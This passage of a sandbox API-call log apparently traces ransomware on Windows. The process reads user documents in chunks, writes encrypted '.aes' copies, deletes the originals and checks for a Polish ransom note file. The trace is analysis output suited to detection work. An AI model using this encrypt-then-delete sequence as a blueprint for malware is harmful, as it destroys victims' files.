nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x275f7f4*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.323] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f64, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f64*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.323] WriteFile (in: hFile=0x354, lpBuffer=0x275f7f4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x275f7f4*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.323] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f64, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f64*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.323] WriteFile (in: hFile=0x354, lpBuffer=0x275f7f4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x275f7f4*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.323] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f64, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f64*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.323] WriteFile (in: hFile=0x354, lpBuffer=0x275f7f4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x275f7f4*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.323] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f64, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f64*, lpNumberOfBytesRead=0x77cea50*=0x167, lpOverlapped=0x0) returned 1 [0072.323] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f64, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f64*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0072.324] WriteFile (in: hFile=0x354, lpBuffer=0x275f7f4*, nNumberOfBytesToWrite=0x281, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x275f7f4*, lpNumberOfBytesWritten=0x77ce974*=0x281, lpOverlapped=0x0) returned 1 [0072.324] WriteFile (in: hFile=0x354, lpBuffer=0x275f7f4*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x275f7f4*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0072.324] CloseHandle (hObject=0x354) returned 1 [0072.325] CloseHandle (hObject=0x34c) returned 1 [0072.325] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\hvCemxS1iSlcK.doc", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\hvCemxS1iSlcK.doc", lpFilePart=0x0) returned 0x4e [0072.325] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\hvCemxS1iSlcK.doc" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\hvcemxs1islck.doc")) returned 1 [0072.326] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x57 [0072.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0072.326] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe52988e0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe52988e0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe52988e0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0072.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0072.326] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0072.347] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\pA730znoL5.rtf", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\pA730znoL5.rtf", lpFilePart=0x0) returned 0x4b [0072.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0072.347] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\pA730znoL5.rtf" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\pa730znol5.rtf"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe60dcd10, ftCreationTime.dwHighDateTime=0x1d2f95b, ftLastAccessTime.dwLowDateTime=0xbc2cebe0, ftLastAccessTime.dwHighDateTime=0x1d30566, ftLastWriteTime.dwLowDateTime=0xbc2cebe0, ftLastWriteTime.dwHighDateTime=0x1d30566, nFileSizeHigh=0x0, nFileSizeLow=0x2ab8)) returned 1 [0072.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0072.347] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\pA730znoL5.rtf", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\pA730znoL5.rtf", lpFilePart=0x0) returned 0x4b [0072.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0072.347] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\pA730znoL5.rtf" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\pa730znol5.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x34c [0072.347] GetFileType (hFile=0x34c) returned 0x1 [0072.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0072.348] GetFileType (hFile=0x34c) returned 0x1 [0072.348] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\pA730znoL5.rtf.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\pA730znoL5.rtf.aes", lpFilePart=0x0) returned 0x4f [0072.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0072.348] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\pA730znoL5.rtf.aes" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\pa730znol5.rtf.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x354 [0072.348] GetFileType (hFile=0x354) returned 0x1 [0072.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0072.348] GetFileType (hFile=0x354) returned 0x1 [0072.348] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0072.355] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6fd6ef8 [0072.355] GetNetworkParams (in: pFixedInfo=0x6fd6ef8, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6fd6ef8, pOutBufLen=0x77ce624) returned 0x0 [0072.362] LocalFree (hMem=0x6fd6ef8) returned 0x0 [0072.362] GetAdaptersAddresses () returned 0x6f [0072.367] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7014730 [0072.367] GetAdaptersAddresses () returned 0x0 [0072.372] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0072.380] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0072.380] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0072.386] LocalFree (hMem=0x1c8b20) returned 0x0 [0072.387] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0072.393] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0072.393] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0072.399] LocalFree (hMem=0x1c8b20) returned 0x0 [0072.400] LocalFree (hMem=0x7014730) returned 0x0 [0072.400] GetBestInterfaceEx (in: pDestAddr=0x2796058*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0072.488] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f5c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f5c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.489] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f5c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f5c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.489] WriteFile (in: hFile=0x354, lpBuffer=0x274abbc*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x274abbc*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.489] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f5c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f5c*, lpNumberOfBytesRead=0x77cea50*=0xab8, lpOverlapped=0x0) returned 1 [0072.489] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f5c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f5c*, lpNumberOfBytesRead=0x77cea50*=0x0, lpOverlapped=0x0) returned 1 [0072.489] WriteFile (in: hFile=0x354, lpBuffer=0x274abbc*, nNumberOfBytesToWrite=0xbd1, lpNumberOfBytesWritten=0x77ce974, lpOverlapped=0x0 | out: lpBuffer=0x274abbc*, lpNumberOfBytesWritten=0x77ce974*=0xbd1, lpOverlapped=0x0) returned 1 [0072.489] WriteFile (in: hFile=0x354, lpBuffer=0x274abbc*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x77ce9a8, lpOverlapped=0x0 | out: lpBuffer=0x274abbc*, lpNumberOfBytesWritten=0x77ce9a8*=0x21, lpOverlapped=0x0) returned 1 [0072.489] CloseHandle (hObject=0x354) returned 1 [0072.490] CloseHandle (hObject=0x34c) returned 1 [0072.490] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\pA730znoL5.rtf", nBufferLength=0x105, lpBuffer=0x77ce628, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\pA730znoL5.rtf", lpFilePart=0x0) returned 0x4b [0072.490] DeleteFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\pA730znoL5.rtf" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\pa730znol5.rtf")) returned 1 [0072.491] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\#$# JAK-ODZYSKAC-PLIKI.txt", nBufferLength=0x105, lpBuffer=0x77ce698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\#$# JAK-ODZYSKAC-PLIKI.txt", lpFilePart=0x0) returned 0x57 [0072.491] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceae8) returned 1 [0072.491] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\#$# JAK-ODZYSKAC-PLIKI.txt" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\#$# jak-odzyskac-pliki.txt"), fInfoLevelId=0x0, lpFileInformation=0x77ceb64 | out: lpFileInformation=0x77ceb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe52988e0, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xe52988e0, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xe52988e0, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0xa2c)) returned 1 [0072.491] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceae4) returned 1 [0072.491] SleepEx (dwMilliseconds=0x14, bAlertable=1) returned 0x0 [0072.519] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\_X864G9NgHeHTp16YW.ods", nBufferLength=0x105, lpBuffer=0x77ce6b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\_X864G9NgHeHTp16YW.ods", lpFilePart=0x0) returned 0x53 [0072.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ceb04) returned 1 [0072.519] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\_X864G9NgHeHTp16YW.ods" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\_x864g9nghehtp16yw.ods"), fInfoLevelId=0x0, lpFileInformation=0x77ceb80 | out: lpFileInformation=0x77ceb80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x768fc800, ftCreationTime.dwHighDateTime=0x1d303b3, ftLastAccessTime.dwLowDateTime=0x4e1ae970, ftLastAccessTime.dwHighDateTime=0x1d30577, ftLastWriteTime.dwLowDateTime=0x4e1ae970, ftLastWriteTime.dwHighDateTime=0x1d30577, nFileSizeHigh=0x0, nFileSizeLow=0x11616)) returned 1 [0072.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ceb00) returned 1 [0072.519] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\_X864G9NgHeHTp16YW.ods", nBufferLength=0x105, lpBuffer=0x77ce520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\_X864G9NgHeHTp16YW.ods", lpFilePart=0x0) returned 0x53 [0072.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9fc) returned 1 [0072.519] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\_X864G9NgHeHTp16YW.ods" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\_x864g9nghehtp16yw.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x34c [0072.519] GetFileType (hFile=0x34c) returned 0x1 [0072.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f8) returned 1 [0072.519] GetFileType (hFile=0x34c) returned 0x1 [0072.519] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\_X864G9NgHeHTp16YW.ods.aes", nBufferLength=0x105, lpBuffer=0x77ce518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\_X864G9NgHeHTp16YW.ods.aes", lpFilePart=0x0) returned 0x57 [0072.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x77ce9f4) returned 1 [0072.519] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\Documents\\6_UYmFiKKpct\\OXq6TNDno0\\HKRkjnzp\\_X864G9NgHeHTp16YW.ods.aes" (normalized: "c:\\users\\kft6utqw\\documents\\6_uymfikkpct\\oxq6tndno0\\hkrkjnzp\\_x864g9nghehtp16yw.ods.aes"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x354 [0072.519] GetFileType (hFile=0x354) returned 0x1 [0072.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x77ce9f0) returned 1 [0072.520] GetFileType (hFile=0x354) returned 0x1 [0072.520] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x77ce624 | out: pFixedInfo=0x0, pOutBufLen=0x77ce624) returned 0x6f [0072.546] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x6fd6ef8 [0072.546] GetNetworkParams (in: pFixedInfo=0x6fd6ef8, pOutBufLen=0x77ce624 | out: pFixedInfo=0x6fd6ef8, pOutBufLen=0x77ce624) returned 0x0 [0072.553] LocalFree (hMem=0x6fd6ef8) returned 0x0 [0072.553] GetAdaptersAddresses () returned 0x6f [0072.558] LocalAlloc (uFlags=0x0, uBytes=0xd8c) returned 0x7014730 [0072.558] GetAdaptersAddresses () returned 0x0 [0072.563] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0072.570] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0072.570] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0072.576] LocalFree (hMem=0x1c8b20) returned 0x0 [0072.576] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x0, pOutBufLen=0x77ce38c) returned 0x6f [0072.583] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x1c8b20 [0072.583] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c | out: pPerAdapterInfo=0x1c8b20, pOutBufLen=0x77ce38c) returned 0x0 [0072.589] LocalFree (hMem=0x1c8b20) returned 0x0 [0072.590] LocalFree (hMem=0x7014730) returned 0x0 [0072.590] GetBestInterfaceEx (in: pDestAddr=0x277aa00*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), pdwBestIfIndex=0x77ce74c | out: pdwBestIfIndex=0x77ce74c) returned 0x0 [0072.674] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f6c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.676] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f6c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.676] WriteFile (in: hFile=0x354, lpBuffer=0x2724908*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2724908*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.676] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f6c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.676] WriteFile (in: hFile=0x354, lpBuffer=0x2724908*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2724908*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.676] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f6c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.676] WriteFile (in: hFile=0x354, lpBuffer=0x2724908*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2724908*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.676] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f6c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.677] WriteFile (in: hFile=0x354, lpBuffer=0x2724908*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2724908*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.677] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f6c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.677] WriteFile (in: hFile=0x354, lpBuffer=0x2724908*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2724908*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.677] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f6c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.677] WriteFile (in: hFile=0x354, lpBuffer=0x2724908*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2724908*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.677] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f6c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.677] WriteFile (in: hFile=0x354, lpBuffer=0x2724908*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2724908*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.678] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f6c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.678] WriteFile (in: hFile=0x354, lpBuffer=0x2724908*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2724908*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.678] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f6c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.678] WriteFile (in: hFile=0x354, lpBuffer=0x2724908*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2724908*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.678] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f6c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.678] WriteFile (in: hFile=0x354, lpBuffer=0x2724908*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2724908*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.678] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, lpOverlapped=0x0 | out: lpBuffer=0x26b2f6c*, lpNumberOfBytesRead=0x77cea50*=0x1000, lpOverlapped=0x0) returned 1 [0072.679] WriteFile (in: hFile=0x354, lpBuffer=0x2724908*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x77ce994, lpOverlapped=0x0 | out: lpBuffer=0x2724908*, lpNumberOfBytesWritten=0x77ce994*=0x1000, lpOverlapped=0x0) returned 1 [0072.679] ReadFile (in: hFile=0x34c, lpBuffer=0x26b2f6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x77cea50, 